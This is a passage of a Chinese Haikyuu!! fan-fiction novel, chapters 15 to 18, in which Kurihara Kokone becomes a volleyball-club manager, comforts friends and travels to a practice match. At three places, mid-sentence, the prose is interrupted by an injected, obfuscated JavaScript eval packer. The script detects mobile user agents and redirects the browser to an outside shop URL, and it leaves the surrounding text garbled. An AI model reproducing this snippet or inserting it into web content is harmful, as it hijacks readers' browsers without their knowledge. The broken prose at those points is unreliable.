橘色脑袋一边说着话，一边大幅度地笔画着手势。 看起来还蛮和睦相处的，栗原心音这样想着。 然而柔顺的后脑壳一下变成了海胆头，影山浑身上下散发着不爽的气息。 他轻松地拎起了小小只的橘色脑袋，橘色脑袋也不甘示弱，两只脚在空中用力地荡来荡去。 要打架了吗，心音加快步伐试图阻止这场战争。不过她也被拥有身高优势的清水学姐一把拎住了。 意识到自己一不小心学来了影山的技能，并用在了刚认识的学妹身上的清水学姐有些不好意思，她戳了下化身河豚的学妹，帮她放放气：“总之，他们应该还没有打架，先听听他们会说什么吧。” 海胆头首先开始发言：“二传，是在比赛中最常摸到球的存在。” “你说的主攻，如果没有二传的托球，完全没办法打啊。” 橘色脑袋不甘示弱：“但是二传又难打又不显眼。” 海胆头的怒火平息了，头发再次变成了柔顺的状态：“你看过大型的比赛吗。” 伴随着他这句话的落地，心音揉了揉眼睛，她的眼前就像是突然出现了大型比赛的场地，影山以飞快的速度从场地的一头跑到另一头，然后将球高高托起，最后传到主攻的手里，“啪”一下，主攻将球扣下，全场的欢呼涌入耳畔。 “又难、又帅、又有趣。” 他扬起嘴角。 “这就是二传。” 清水拉回了即将脱口而出“你说得对”的心音。 她在心音的耳畔小声地问道：“这样一听，二传超帅的对吗。” 这一次变成高压锅的是心音自己了，她红着脸点点头。 “不过，那是影山的二传哦，并不是二传的全部。” “所以，光是这么认为，还远远不够。” 另一边的橘色脑袋点点头：“我明白了。” 【你理解你们是队友吗】 【在评判别人的行为之前，首先要了解清楚原因哦，不然是一种很不礼貌的行为】 大地学长和店长姐姐的话萦绕在他的心中，打了个结，他明白凭借自己无法找出解开的线头。 比起慢慢分辨其中的千丝万缕，我会怎么做。 影山飞雄举起心中的剪刀，剪断了那团缠绕着的结。 “你之前的时间，都去做什么了。” 熟悉的话再一次涌入耳中，日向翔阳几乎立刻打算跳起来拽住影山的衣领。 但是他意识到那句话不是任何责备的话。 其中没有“你为什么要浪费时间”这类的意味。 那只是一句再简单不过的询问。 他抬起头，试图分辨影山的表情，不过对方还是冷着脸，和之前没什么区别。 “我说，影山。你刚刚那句话，是想要理解我的意思吗。” “你难道是想和我好好沟通吗。”橘色脑袋越凑越近。 “啧”影山飞雄撇着嘴，伸出手把橘色脑袋推远了，“就当是前面你听我说了为什么想要当二传，所以我现在听你说说，就是这样而已。” 最后的几个字越来越小声，除了他面前的日向，没有人能够听清。 早在影山飞雄开始询问日向时，排球馆的窗户就已经被偷偷拉开。 三个脑袋并排地架在上面，写满好奇的眼睛紧紧地盯着在谈话的二位。 原本专心听着他们对话的心音一不小心就扫过了那个角落，她被吓得一激灵。她悄悄拉住清水学姐，指了指那个方向。 清水学姐了然地说道：“诶，抱歉。他们不是什么怪人，是排球部的学长。” 二人组的谈话依然在继续。 日向摸了摸自己的脑袋：“我的国中原来是没有排球部的，所以我一开始帮踢足球的和打羽毛球的同学练习，然后让他们帮我垫球。食堂阿姨她们也帮了我很多......” “我说这些才没有让你同情我的意思，反正我一定会打败你的，在球场上只有实力才是说话的资格！” “我明白。” 日向被吓得后退了几步，因为影山朝他鞠了个躬。 “不了解你的过去，就说了那些话，抱歉。” 下一秒，影山飞雄就恢复了平时的样子：“但是你的基础确实很差，想要获得胜利，就要不管过去的事情，不断提升自己的球技，这点你明白吧。” 橘色脑袋一跃而起，他把M刘海弄成了鸡窝头：“那些我当然知道！！你明明刚刚是在道歉的吧，怎么还摆出一副我的老师的架势啊！！！” 果然很不一样啊。 清水看着眼前又陷入缠斗的二人，大地原本的计划说不定能提前完成。 还有自己身边的女孩。 ...那看向影山的感动的表情也太直白了吧。 为什么还有点“吾家小儿初长成”的意味。 清水学姐侧过身：“心音，想不想和我去排球部看看。” 虽然栗原心音承认学姐很有魅力，稍微朝她笑一笑自己就愿意听学姐的话。 但是她还是不由得想要提醒一下学姐收敛一下自己明晃晃的想要引诱她的表情，就像是在说即使是这么明显，你也会来排球部看看吧。 / 确实很在意，她不可否认。 就像自己初次和仁花搭话一样，影山也迈出了自己变化的第一步。 改变会是一件好事吗？栗原心音无法做出断言。 不改变意味着稳定，保持自己原有的步伐。 即使只有很少的朋友，也不用面临友谊分裂时的难过；即使不尝试新事物，但是远远地看着也好过在最后发现那件事物远不如自己想象的美好，然后对它弃之敝履。 改变需要勇气，其实从某种层面来说，她并不是一个足够勇敢的人，也对探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107887|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索更多的可能没什么兴趣。 但是某一天，她产生了渴望。 或许是那一天，她被影山飞雄带着在绵延的盘山路上奔跑，汹涌的风灌进她的喉咙，她记不得自己怎么拖着沉重的步伐爬到山顶，她脱力地撑住护栏，以此来维持着站立的姿势。 汗水模糊了她的视线，她抬起头，撞进一汪夕阳夕照。 金色的、浑圆的太阳直直地撞进她的眼眸。 她开始意识到，如果不是奔跑到山顶，她可能永远见不到这样的夕阳。 一种难言的冲动在她的心脏处翻涌，她用双手围成一个大喇叭的形状。 她的声音在群山间回响。 不过下一秒，她意识到自己身边并不是没有人，迟来的羞愧的心情将她笼罩。 但是一旁的影山飞雄也作出了同样的动作。 这次群山间回响着两个人的声音，他们不约而同地，变成了别人眼里的傻瓜。 如果有路人听到了，大概会被他们吓一跳。 小迪在他们的脚边打转，汪汪地叫着，似乎也要加入他们的嚎叫大军。 于是，就在那一天，她决定迈出尝试的步伐。 ——因为不想错过那么多美好的风景。 / 虽然看出了清水学姐还有别的心思，但是心音最后还是点了点头。 她跟在清水学姐的身后。 “请问，可以让一让吗？”学姐询问着挡在门口的二人组。 话音未落，大门就被光头学长迅速地打开了，“洁子同学辛苦了，我来拿吧！” “不用了，我自己拿。”和前面类似的对话再一次地出现了。 不同的是，面前的学长幸福地扭动着身躯。 “栗原？”影山有些奇怪的看向心音，像是在询问她怎么这么晚了还在学校。 栗原心音看向清水学姐已经步入体育馆的背影：“我刚刚都看到了哦影山。” “超级棒！”她竖起大拇指，随后跟上了清水姐的步伐。 光头前辈关上大门，隔开了门外的声音。 日向一脸悲愤地注视着脸颊通红的影山：“你跟那个栗色头发的可爱的同学是什么关系，是情侣吗？！” “影山怎么会有女朋友...” “....笨蛋，是好朋友。还有，你刚刚把心里话说出来了。” “影山...好朋友...”日向这次换上了更加难以置信的表情。 原本转向和睦的氛围再一次地热闹了起来。 “boke日向！你刚刚是什么意思！” 比起外面热闹的氛围，排球馆内倒是祥和了许多。 在清水学姐说明她的身份后，心音收获了三双注视着她的眼睛。 那几双眼睛里的心里话太多了，让她难以解读。 他们先进行了自我介绍。 白毛学长叫做菅原孝支，光头学长叫田中龙之介，最沉稳的学长叫做泽村大地。 菅原学长的眼睛滴溜溜地转了一圈，心音莫名有一种被狐狸盯上的感觉。 “栗原同学有加入什么社团吗？” ...“没有” “那排球部呢，排球部怎么样。”出人意料的单刀直入，“现在排球部的经理主要是清水学姐一个人，如果栗原同学加入的话，是再好不过的。而且不用干很多活哦——清水学姐相当可靠的。” “如何？要不要考虑一下。” 清水学姐想了想：“如果心音觉得不想加入也可以直接拒绝的，如果想要试一下，可以暂时加入排球部，怎么样？” 学长学姐都说的这么周到了，加上自己也有些想尝试新的事物。 心音点点头，成为了乌野排球部的临时经理。 ——居然比影山更早加入排球部。 16. chapter 16 “所以心音就是这样被拉去排球部了啊。” “嗯嗯。”栗原心音撕掉原先的日程表，换了一页重新圈画起来，“因为在高中想要尝试一点新的东西嘛，还有学姐，超好看的哦。” 她拉着椅子坐到了仁花的旁边，两只脑袋挨在一起盯着小小的手机。栗原心音熟练地点开学姐的社交平台账号，“仁花你看，这张，还有这张，是不是超御，很健气的那种风格。” 仁花的呆毛随着主人用力的点头一同摇晃着。 心音滑动屏幕的手指微妙地顿了顿，她用肩膀碰了碰仁花：“呐，仁花。一起去当排球部经理怎么样。” 心音注意到仁花头上的呆毛就像是被强风吹拂过一样四处摇摆，她立马回过神，摆了摆手：“这种事情我一点都不擅长啊。而且我一点都不了解排球。” “我也不擅长排球，但是这种事情，试一试的话，说不定有惊喜哦。”心音抱着仁花的手晃了晃，“毕竟只是临时经理嘛，怎么样？” 仁花在心音的攻势下节节败退，她的手缓缓升起，最后比了个OK的手势。 / 要是事先知道排球部的指导老师是她的班主任，仁花大概不会这么迅速地被心音哄骗。 她捏了捏心音的手。 【这到底是什么情况。】 一旁的心音紧张的程度不亚于仁花，她摇摇头，表示自己一无所知。 不管什么时代，无论老师温柔与否，班主任的单独谈话总是有着一种天然的压迫感。 看出她们的局促，武田老师温和地笑了笑：“你们不用那么害怕我。” 心音和仁花一边说着不害怕，一边下意识地咽了咽口水。 “清水同学前面告诉我了，栗原同学和谷地同学现在是排球部的临时经理了，欢迎你们加入排球部。” 心音和仁花齐刷刷地鞠躬。 武田老师不好意思地摸摸脑袋，就像是要相互比较谁鞠躬更标准，他站了起来，也成九十度角鞠躬。 陷入奇怪的比赛的三人保持着弯腰的姿势，没有人率先抬头。 “咔嚓。”拍照的声音打破了诡异的氛围，教导主任收获了三人的目光，若无其事地摆弄着他的假发，他轻咳一声，拍了拍武田老师的肩膀，“我们学校就是要建立这种师生和睦的关系，小武老师做的不错。” 他哼着歌悠悠地离开了。 “一不小心就忘记说正事了，栗原和谷地同学先坐吧。”武田老师翻开自己的笔记本，“栗原和谷地同学觉得经理是什么样的工作呢。” “大概是帮助排球运动员们，做一些后勤的工作。”栗原率先回答到。 “没错，如果说选手们是前锋，那教练、经理，都是他们的后盾，每一个部分都很重要。”他把自己的笔记本展示给她们看，上面密密麻麻地记录着一些电话号码，后面备注着是其他学校排球部教练的名字。在名字后面有的打钩，有的打叉，有的整整一列密密麻麻的都是叉。 “我对排球的知识不够了解，所以我也只能在约训练赛上出一份力。我听清水说你们在纠结自己可能并没有发挥多少的作用。”他的语气很温和，让人能够静下心倾听，“但是每一块零件，就算是看起来毫不起眼，也发挥着自己的作用，推动着整体的运转。” “好啦，我想跟你们说的就是这些。先回去上课吧。” 厚厚的笔记本被合上。 仁花和心音默不作声地关上教师办公室的门。 “武田老师，真的是一个很了不起的老师。” 心音点了点脑袋。 / 乌野早上两节课结束后，会有一段很长的大课间。 上课时疲惫不堪的学生们在打铃的那一刻纷纷满血复活，冲到学校开的小卖部大肆采购。 比起在人群里挤来挤去，影山更喜欢在自动贩卖机买杯喝的提提神。 虽然这并不能帮他提神到撑过一整节数学课，但是能让他在昏昏欲睡的时候接住老师投射来的粉笔。 自动贩卖机前是一个很熟悉的身影。 栗色的及腰长发自然地微卷，米黄色的毛衣搭配白色的衬衫。 和打排球时的专心不同，一旦离开排球状态，影山就会陷入神游。 此时他的脑子里会装满来自外界的各种信息，其中包括前桌的女生们让人不解的对话。 比如如何自然地将短裙收短的一百零八式。 栗原心音的短裙没有接受这样技术高超的改装，灰色的裙摆自然地倚靠在膝盖上。 就和她本人一样像是平静的泉水。 但是内在却有难以捉摸的暗涌。 像排球一样，简单，却有着千变万化的轨迹。 他站在她的身后，幼稚地玩起了竞猜游戏。 【牛奶】他这样押注着。 她按了按酸奶的标签，又一次地没有猜中。 栗原心音转过身，抱着一个有些大的纸袋：“影山！” 她又投入了几个硬币，自顾自地点了牛奶的按钮，随后递给他。 他接过牛奶，和从前一样插上吸管。 “刚刚影山是不是又想一下子按两个按钮，让上天决定喝什么。”她一副洋洋得意的样子，“哼哼，你肯定在想我是怎么猜中的。” “不对。”影山看着她从运筹帷幄变得有些惊讶，暗自觉得搬回了一局，“我刚刚想喝酸奶。” 影山看着她深深地望了一眼自己的酸奶，那双手挣扎着想要递给他。他喝了一大口自己手中的牛奶：“但是牛奶也很好喝。” 栗原心音安心地插上了吸管。 他们坐在长廊的座椅上，心音打开了自己抱着的纸袋：“咖喱包子！” “乌野的后盾及时为早起晨练饿得发昏的影山提供补给。” 影山接过包子：“这是什么新的游戏吗。” 在寒假里，每当新通关了一款游戏，心音都会换上全新的口癖并持续一段时间，连线上的交谈都会切换成这种奇怪的模式。 “是秘密的游戏。”她高深莫测地笑着。 连廊的另一侧出现了一个东张西望的金色脑袋，心音一下就锁定了仁花，她站起来挥了挥手：“仁花，这里哦。” “我先回班了，影山前锋。” 心音抱起纸袋，快步走向仁花的方向。 影山坐在原地，吃着新的一个咖喱包子，那是心音站起来的时候又塞在自己手中的。 还未走远的两人的声音传入他的耳畔：“将将，特地给仁花买的最爱吃的奶黄包。” 他看向自己手中包子。 ——特地买给影山的咖喱包子。 他大力摇晃自己的脑袋，试图把自己突如其来的构想抹消。 但是显然并没有什么用，越是让自己不去想，耳畔就开始循环播放这句话。 多练几个排球就好了，影山飞雄这样宣布道。 / 3V3的排球比赛结束了，由于和仁花一起加入了武田老师的打电话大军，心音遗憾地未能在现场观战。 不过结果是好的，影山和日向正式成为了排球部的一员。 在打了十个电话皆以失败告终后，清水学姐推开了办公室的门。 经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107888|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁花和心音的强烈要求，清水学姐同意她们帮忙搬一小段路程的箱子。 “箱子里装的是新队服哦，仁花和心音也有。” 两个女孩的眼睛唰一下变得闪亮，走向排球部的步伐也变得轻快了许多。 “心音、仁花，箱子里装的是什么啊。”一进入排球馆的门，橘色脑袋就咻一下地跑了过来。 ...心音是什么称呼，小矮子什么时候跟她熟起来的。 影山飞雄暗暗点头，下一秒他惊诧地看着不知何时凑到他旁边的月岛，“你刚刚是这么想的吧。” 影山看着他得意的表情，撇了撇嘴。 心音的声音突然从他们两个后面幽幽传出：“月岛同学，前几天我不是一起加了你和日向吗。” “就是那时候熟起来的哦。” 啧，计划失败。 月岛萤走向正在发校服的清水学姐。 影山也回过神，迅速地跟上了他的脚步。 新加入的一年级成员，包括心音和仁花，都穿上了黑色的排球部队服。 日向穿上队服，兴奋地原地蹦跶了好几下。 乌泱泱的黑色队服站成一片。 “莫名地有点像集体活动的不良少年，尤其是田中前辈”仁花感叹着。 心音也赞同地点点头：“但是我们穿上去还是跟竹板一样，相当没有威慑力。” 两人低沉地耷拉着脑袋。 清水学姐一手一个学妹：“来拍个照，怎么样。” “我来！”日向高高举起手，像小旋风一样飞速接下手机，拍下了经理三人组的照片。 “可恶的日向。”田中前辈浑身散发着可怖的红色火焰。 排球馆的大门被人推开，武田老师大口地喘着气。 心音和仁花心领神会地跑到他跟前：“怎么样，小武老师，是约到训练赛了吗。” 缓过劲的小武老师点点头：“是青叶城西的训练赛。” “不过他们要求影山做二传。” / 训练赛的时间和人选很快被敲定。 一年级除了山口同学，其他都被选上场。 没有被选中的山口同学有些低落，不过被选中的日向同学的状况也不容乐观。 看着他明显神经薄弱的状态，心音悄悄地拉了拉仁花。 “我去看看山口，仁花可以教教日向那一招哦，就是你缓解紧张的那一招。” “山口同学。”心音朝他挥了挥手，“过来一下。” “你是不是有些失落。”心音和山口并排蹲在了排球馆的角落，像两只生长在阴影里的蘑菇。 山口揪了揪自己的脸：“我表现的这么明显吗。” 心音摇了摇头：“我的观察力稍微好那么一点，其他人一点都没有看出来哦。” “武田老师说，我们是乌野的后盾。虽然前锋很重要很耀眼，但是后盾也是一个队伍的保障哦。” “而且山口同学和一般的后盾不一样哦，我有一种预感，你一定可以吸引全场的目光！” “诶”山口有些不明白心音为何突如其来的高度地赞赏他，或许是出于对他的安慰。 “才不是安慰。”心音就像有读心术一样一下子驳斥了他的心里话，“只要一直坚持，山口同学也一定会让大家看到你的。” 看似怯弱的外表下，也藏着一颗金子一样不断向前的心。 心音明白，这是一个排球运动员能够不断进步的最重要的东西。 安慰和信任，究竟是什么答案或许并不重要。 ——“好。”山口忠这样回答道。 17. chapter 17 【清水学姐是超人】 心音举起密密麻麻的日程表在心里感叹着。 在担任社团经理之前，自己还觉得所谓的“后勤”工作只是帮助场上的运动员端端水，再高层次的就是及时关注他们的心理情况，进行一些心理疏导。 ——没想到还有这么多繁杂的报表要填。 就像是大公司的会计一样，由于乌野的排球部陨落的好多年，所有的经费都依靠着学校的拨款。所以不管是小到给运动员买水和补给品的经费，大到参加比赛外宿的经费，都要填写一张张报表，并且经过学校的审批。 同时，学校财务部的有些老师相当擅长划水，在报表倚叠如山之后才一同盖章。 为了及时得到经费，社团经理们还要奔波于财务部各个老师的办公室，完成“催债”的难题。 她现在手上要填的报表还只是清水学姐在她和仁花的强烈要求下分给她们的小小一部分。 “仁花。”她虚弱地戳了戳仁花的后背，“我以后绝对不会去当会计。” 她收到了仁花同样苦涩且坚定的目光。 “心音。”仁花有些踌躇，“放学后来我家怎么样。” “一个人填报表可能会比较无聊，两个人一起的话会快一点吧...不过心音的家里人如果不同意的话那下次再说...” 仁花看着心音一下子坐直了身，把刚合上的记日程的本子又重新翻开，从最后一页开始奋笔疾书着。 “当然没问题，我的爸爸妈妈平时都不在家的，我一个人住。” “仁花快看！” 心音将笔记本平摊开，高高举起，上面用荧光笔打上重点符号的大字就这样直直地撞进仁花的视线。 【去好朋友家（超开心）完成次数x2】 “我也想去心音家！” “好哦好哦，下次就换仁花来我家吧。” 最后一节课是自习，心音和仁花凑在一起交流起做笔记的经验。 仁花的笔记是分版块有条理的标准学霸笔记，不同的知识层面都用不同颜色的笔标注，让人一目了然；心音的笔记就比较随意，大体会按照不同的知识点分类，但是偶尔有天马行空的联想也会写在一旁，因此看起来比较杂乱。 即便是升学重点班，最后一节缺乏老师看管的自习课上一年5组的不少人也蠢蠢欲动起来，一开始是心音和仁花身边的少部分人，到最后几乎是整个班级都加入了这场关于“哪种笔记更高效的”大讨论。 最后的讨论结果是两种方法的支持者五五开，大家一致认为——自己习惯的就是最有效的。 / 和心音家客厅的家徒四壁风不同，仁花的妈妈虽然是个一直在外奔波的女强人，但踏入这个小家的那一刻，可以看出女主人对这个家的用心。 放置在玄关处的插花上还留着新鲜的露珠，色调也被搭配得和房间的氛围相得益彰。 客厅相当大，但是一点都不空。每一个角落都有着生活的气息。 走进仁花的房间，又像是进入了另一个世界。 和外面相当成熟干练的风格不同，仁花房间的床上被放置了一排玩偶。不过一进门最吸引眼球的就是一个大大的工作台，上面放置着还没有锁屏的电脑，仁花的桌子上还有些没有被收集起来的草稿。 注意到心音的视线，仁花摸了摸脑袋：“那些都是随便画的，一点都比不上妈妈的水平。” “诶，但是仁花才上高中，比不上专业的设计师才是正常的吧。” “总之，先来写报表吧！”厚厚的一沓报表立马把心音和仁花拉回了罪恶的现实世界。 在重复用相同的格式填了好几张报表后，心音感觉自己的大脑都停止了转动，同质化的工作让她变成了呆滞的填表工具人。 填完手中最后一张报表后，房间的门被人推开。 穿着整齐的西装的女子在敲了一下房门后，推开了房门的一角：“仁花，今天我不在家里吃饭了，公司有聚餐，你自己吃一下。” 她和坐在一旁的心音对视了，朝她笑了笑：“仁花带朋友回家了啊。” “阿姨好。”心音礼貌地和她打了招呼。 “妈妈，我和朋友一起填排球部的报表。” “这样啊。”她有些心不在焉地回应道，“你加入了排球部吗。” 仁花攥紧自己的衣摆，“嗯。” “无所谓，不过你要想清楚你这样不坚定的态度适不适合做他们的经理。” “没有下定决心的人是做不好事情的。” ——好严格。 一旁的心音同样被仁花妈妈的话攻击到了，凭心而论，她也并非坚定地要当排球部的经理。 仁花的心情也随着被合上的门一起迅速地低落了下来。 “心音也觉得我妈妈说的有道理吧，我这样的人果然还是不适合去做社团经理。” “虽然仁花的妈妈是个非常厉害的人，不过也不用相信她的所有话啦。” “世界上的大部分人都不是一开始就知道自己适合干什么事的吧，有梦想的人也是少数。”心音指了指自己，“比如我也是一个没有梦想的人。” “哈？”仁花一下子就把刚刚丧气的情绪抛在脑后了，显然，栗原心音没有梦想这件事给她的冲击更大。 “难道心音以后不想当音乐家，或者大学教授科研人员这种吗。” 心音果断地摇摇头：“完全不想。” 这下二者的身份彻底转换了，仁花试图鼓励看上去有些丧气地心音：“但是就算没有确切的方向，心音还是能把这种事情做的很好。” 计划成功的心音点点头：“所以就算并不是自发地想当经理，仁花也可以做的很好吧。” 中计的仁花有被说服到，她拿起床边的泰迪熊，揪着它的耳朵。 “心音这么说，难道你的家里人对你要求很严格吗。”她感觉这样的问题有些涉及心音家庭的隐私，立马摆了摆手，“如果不想回答也是没事的。” “和仁花猜的完全相反，我的爸爸妈妈是那种一点都不严格的家长。” / 栗原心音很少和别人谈及自己的家事。 和大多数的东亚家庭相比，心音的父母是相当开明的那一类。 他们完全不干涉孩子的选择，也不会给心音任何学业上的压力，她猜想如果父母看到自己不是第一的成绩单，或许会比平时更加兴奋。 心音的爸爸栗原千仞是有名的摄影师，妈妈是风格多变的作家，他们常穿行于世界各地获取灵感。 不过由于心音的出生，爸爸和妈妈曾有好几年停止了自己心爱的职业，选择了转行。 他们认为孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107889|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的成长需要一个相对稳定的环境，而不是跟着他们四处奔波。 无论美惠子和千仞在公司多疲惫，只要一回到家，他们都不会忘记给心音一个温暖的拥抱。 他们就像是无所不能的超人，从不把自己的苦恼泄露给孩子一分一毫。 但年幼的心音能察觉到这其中的不同。 具体而言，这样的不同流露在每一次父母带着她，翻开那一本本书和相册的过程中。 照片和文字都是有温度的。 栗原爸爸可以滔滔不绝地讲述每一张照片背后的故事，每一个拍摄角度的巧思，每一次光与影的碰撞。 栗原妈妈喜欢在睡前给心音讲自己所写的小说的剧情，她在虚构的故事里忠实地参照着现实的身影。 心音最喜欢的绘本里有这样一句话 ——被爱滋养着的梦想能够开出最灿烂的花。 于是，刚上小学的心音从书房里找到最年代久远的两本书。 一本是妈妈刚成为作家的处女作，是一本儿童故事书。 另一本是爸爸用自己打工赚来的第一台相机拍摄的照片集。 她把这两本书递给刚加班回来的爸爸和妈妈。 栗原家的家庭会谈持续了将近一个月的时间，年纪最小却有着极大话语权的心音拍着胸脯保证自己完全不需要父母的监护。 爸爸和妈妈则持反对意见，提出了她完全不会做饭的论据，并在她张口反驳前告知她的年龄太小，不允许在没有大人的监护下使用厨房。 心音并没有丧气，她偷偷潜入爸爸的书房，在他的电脑里留下这样的搜索记录。 【年纪太小的小孩没有大人照顾怎么办】 【怎样自力更生】 【怎么告诉担心孩子的爸妈自己已经长大了】 做好充分准备的心音把资料放在栗原爸妈面前。 “只要有保姆照顾我就没有关系了，这里百分之八十忙碌的家长都是这样回答的。” 总之，在一番不面向心音开放的彻夜长谈后，栗原夫妇答应了心音的要求，前提是她能通过他们的各项考察。 “后来上了国中，原来的保姆阿姨因为要带自己的孩子辞掉了工作，再换一个阿姨感觉也不适应，就一个人待着了。” 一口气讲完这些还算开心的往事，心音收获了仁花水汪汪眼睛的注视。 “心音不会觉得孤单吗，一个人在家的时候。” “只要知道远方的爸爸妈妈也想念着自己，就很开心了。” 她家门口的邮箱全年无休，每一封邮件都写满了父母的爱意。 ...果然还是没有直接回答自己关于是否“孤单”的问题。 同是在家人忙于工作的家庭长大，仁花当然能明白母亲为了家庭的付出，以及父母的生活并不是只有孩子，他们也应该拥有自己的生活和梦想。 但是一个人的餐桌还是过于空旷了。 习惯于为别人着想的人总是下意识地回避自己的诉求，甚至担心自己成为重要的人的负担。 仁花把自己一排玩偶里，最大最崭新的泰迪熊放在了心音的怀里。 泰迪熊软软的头发蹭过心音的脸颊，像在她的心里挠痒痒。 “以后有它陪你哦，当然还有我，还有排球部的大家。” 所以希望你不再孤单。 18. chapter 18 乌野的经理三人组比其他的部员们更早换好了衣服，在约定好的地点等待着校车司机。 蓝白色的校车缓缓驶入视线。 在做经理前，心音对校车的印象都是美好的外出研学，不过现在被替换成了一张张恐怖报表糊成的车。 光是想象就让人反胃了。 心音朝仁花招招手：“那个，仁花，昨天说过的晕车药...” 仁花迅速地从包里取出药盒，在吃下药后，心音才有种又活过来的感觉。 “真的没事吗？”清水学姐担忧地看着她。 假如说自己是填报表填到产生心理阴影，那么清水学姐以后可能再也不会把报表分给她和仁花了。心音信誓旦旦地保证这只是普通的晕车而已。 换好部服的众人整齐地向校车走来，身穿黑色衣服的众人一如既往地具有攻击性，不过个别人的状态确实让人担忧。 其中最夸张的就是日向，标志性的笑容和蹦跶的走路方式消失了，取而代之的是明显浓重的两个黑眼圈，程度和熊猫不相上下。 心音把晕车药倒在手中，递给日向：“日向，吃点晕车药预防一下吧。” 她看着眼前的日向和自己齐平的日向，最近是不是长高点了，心音内心有些雀跃。 “谢谢心音。”但是日向的表情比一开始更差劲了，他用一双受伤的蛋花眼望着她，“心音刚刚没有在想什么不好的事情吧。” 好敏锐。 心音不好意思地摸了摸自己的耳朵：“绝对没有那回事。” ——接下来是影山。 飞鸟曾经说过北川第一排球部的人大多都选择了升学到青叶城西，影山应该也很在意他们吧。 心音的视线在影山飞雄身上来回打量着，衣服穿得还算整齐，没有出现前后不分的情况；脸色也蛮正常，没有偷偷呕吐到脱水的苍白，最终她的视线定位在他眼底淡淡的青色痕迹。 她拍了拍影山的肩膀，拿出自己准备好的随身听。 “这个待会上车带上哦，暂时休息一会，影山昨天肯定没有睡好觉。晕车药也要吃...别用你的眼睛说什么【我才不会晕车】这种话。” 在他们两个讲话的时候，排球部的诸位默契地选择了默不作声静静观察。 田中前辈扭捏地来到清水学姐的身旁。 “洁子。”他严肃地鞠躬，“请你务必对我说那些话，这样我龙之介就此生无憾了！” 影山飞雄和栗原心音都不是聋子，相反，他们的听力都异常的好。 原本觉得没有什么特殊意味的叮嘱在田中前辈的演绎下变了个样，栗原心音立马后退半步，随后迅速地将晕车药分发给在场的其他人员。 在完成这一系列动作之后，她闪到了仁花的身边。 和她相比，影山飞雄的表情显得淡定许多，他还是一动不动地站在原地，只是悄悄地摆弄着手中的随身听，随身听的线被他缠绕成一圈又一圈，还把他自己的手指打了个结。 步伐漂浮的日向率先上了车，被摄取灵魂的他飘到了最后一排，然后重重落下。 在他之后是田中前辈，他嚷嚷着：“喂日向，你这个样子坐在后排真的没事吗。” 心音和仁花则是坐在了第一排的位置。 最后上车的影山被菅原学长拉到了校车的第二排。 校车缓缓驶动，即使大地学长再三强调大家不要太喧闹，保存最好的体力在赛场上，然而他们的音量还是即将把车顶掀翻。 心音和仁花也小声地说着话：“心音今天扎的高马尾，超精神哦。” “因为要去和别的队比赛了嘛，这样子是不是看起来清爽点。” 影山飞雄解开已经被弄成麻花状的随身听，他带在耳边，按下播放键。 不是最近大街小巷播放的热门的乐曲，是很干净的旋律。 没有人声夹杂其间，只有一把吉他诉说着单纯的乐章。 像是在辽阔的旷野演奏的乐章，伴随着微风吹拂的声音。 影山飞雄少有地在喧嚣的车上睡着了。 过了很久，他感觉耳畔的乐声都消散了，才缓缓睁开眼睛。 第一眼见到的是探出脑袋趴在车座上的栗原心音，她好奇地端详着他：“睡得超香啊影山。” 影山飞雄环视一周，才发现自己被密密麻麻的众人包围了。一旁的菅原前辈还拿出手机，向他展示自己的拍摄成果。 看不出是哪双罪恶的手把他的衣服拉链拉起来了，还给他带上了帽子。 ——“沉睡的杀手”田中前辈认领了这一作品。 而下一个作品的主导者一览无余。 日向得意地叉着腰站在睡着的自己面前：“臣服在王牌日向脚下的小小影山。” 影山飞雄站起身，朝着一边说着话一边离他越来越远的二人露出一个和善的笑容。 感到一股寒意袭来的田中和日向赶忙让司机师傅打开门，拔腿就跑。 “不许在别人的学校里跑来跑去啊！”大地学长的呼喊消逝在了风中。 / 心音她们负责率先跟青叶城西的教练对接，而大地学长负责去逮捕早就跑得没影的三人。 没过多久，大地学长左手拎着一只影山，右手拎着一只日向，踏入了排球馆的大门。 跟在后面的还有低着头的月岛和田中。 “还记得我说过要和善待人吗——怎么一下子就去挑衅别人了。还有月岛，明明是答应把他们带回来的吧，你怎么也加入了...” 看样子大家是全军覆没了。 不过这样放松了一下，大家打排球的时候应该就不会紧张了，心音乐观地想着。 然而事实上，她小看了日向的紧张程度。 ——在目击日向“攻击”裁判员后，她深刻地领悟了这一点。 在这样的情况下，日向没有办法和影山使用快攻。原定的诱饵计划自然胎死腹中。 和青叶城西的分差被渐渐拉大，只剩最后一球，青叶城西就可以拿下第一局。 但偏偏轮到了状态不好的日向发球。 